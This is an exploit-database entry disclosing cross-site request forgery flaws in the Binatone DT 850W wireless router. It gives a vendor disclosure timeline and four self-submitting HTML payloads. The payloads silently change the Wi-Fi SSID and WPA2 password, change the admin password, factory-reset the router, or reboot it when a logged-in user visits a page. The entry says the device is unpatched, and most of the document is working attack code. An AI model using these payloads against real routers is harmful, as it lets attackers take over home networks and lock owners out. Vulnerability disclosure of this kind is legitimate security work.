Binatone DT 850W Wireless Router - Multiple CSRF Vulnerabilities

2014-05-22T00:00:00
ID 1337DAY-ID-22276
Type zdt
Reporter Samandeep Singh
Modified 2014-05-22T00:00:00

Description

Exploit for hardware platform in category web applications

                                        
                                            # Exploit Title: Binatone DT 850W Wireless Router - Multiple CSRF Vulnerabilities
# Date: 05/20/2014
# Author: Samandeep Singh - SaMaN( @samanL33T )
# Vendor Homepage:http://www.binatonetelecom.in/4port-adsl2-wifi-router1.html
# Category: Hardware/Wireless Router
# Firmware Version: T6W-A1.005 and below
# Tested on: Binatone DT 850W Wireless Router
# Patch/ Fix: Vendor has not provided any fix for this yet
---------------------------------------------------
 
Disclosure Timeline
~~~~~~~~~~~~~~~~~~~
04/23/2014  Contacted Vendor
04/26/2014  Vendor Replied
04/26/2014  Vulnerability Explained (No reply received)
05/04/2014  Vendor notified about full disclosure in 15 days (No reply)
05/20/2014  Full Disclosure
 
Technical Details
~~~~~~~~~~~~~~~~~~
Binatone DT 850W Wireless Router has a Cross Site Request Forgery Vulnerability in its Web Console. Attacker can easily change Wireless password, SSId of Wireless network,Reboot Router, Reset Router,Change Router's Admin Password by simply making the user visit a CSRF link.
 
Exploit Code
~~~~~~~~~~~~~
 
Change Wifi (WPA2/PSK) password & SSID by CSRF
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
<html>
<body onload="document.form.submit();">
<form action="http://[TARGET/IP]/Forms/home_wlan_1"
method="POST" name="form">
<input type="hidden" name="wlanWEBFlag" value="0">
<input type="hidden" name="AccessFlag" value="0">
<input type="hidden" name="wlan_APenable" value="1">
<input type="hidden" name="Countries_Channels" value="INDIA">
<input type="hidden" name="Channel_ID" value="00000000">
<input type="hidden" name="BeaconInterval" value="100">
<input type="hidden" name="RTSThreshold" value="2347">
<input type="hidden" name="FragmentThreshold" value="2346">
<input type="hidden" name="DTIM" value="1">
<input type="hidden" name="WirelessMode" value="802.11b+g+n">
<input type="hidden" name="WLANChannelBandwidth" value="20/40 MHz">
<input type="hidden" name="WLANGuardInterval" value="AUTO">
<input type="hidden" name="WLANMCS" value="AUTO">
<input type="hidden" name="wlan_MBSSIDNumber" value="2">
<input type="hidden" name="WLSSIDIndex" value="1">
<input type="hidden" name="ESSID_HIDE_Selection" value="0">
<input type="hidden" name="ESSID" value="[SSID]">
<input type="hidden" name="WEP_Selection" value="WPA2-PSK">
<input type="hidden" name="TKIP_Selection" value="AES">
<input type="hidden" name="PreSharedKey" value="[PASSWORD]">
<input type="hidden" name="WPARekeyInter" value="3600">
<input type="hidden" name="WDSMode_Selection" value="0">
<input type="hidden" name="WLAN_FltActive" value="0">
<input type="hidden" name="wlanRadiusWEPFlag" value="0">
<input type="hidden" name="MBSSIDSwitchFlag" value="2">
</form>
</body>
</html>
 
Factory Reset Router Settings by CSRF
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
<html>
<body onload="document.form.submit();">
<form action="http://TARGET/IP]Forms/tools_system_1"
method="POST" name="form">
<input type="hidden" name="restoreFlag" value="1">
</form>
</body>
</html>
 
 
Change Router's Admin Password by CSRF
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
<html>
<body onload="document.form.submit();">
<form action="http://[TARGET/IP]/Forms/tools_admin_1"
method="POST" name="form">
<input type="hidden" name="uiViewTools_Password" value="[PASSWORD]">
<input type="hidden" name="uiViewTools_PasswordConfirm" value="[PASSWORD]">
</form>
</body>
</html>
 
 
Restart Router by CSRF
~~~~~~~~~~~~~~~~~~~~~~
 
<html>
<body onload="document.form.submit();">
<form action="http://TARGET/IP]/Forms/tools_system_1"
method="POST" name="form">
<input type="hidden" name="restoreFlag" value="0">
</form>
</body>
</html>

#  0day.today [2016-04-20]  #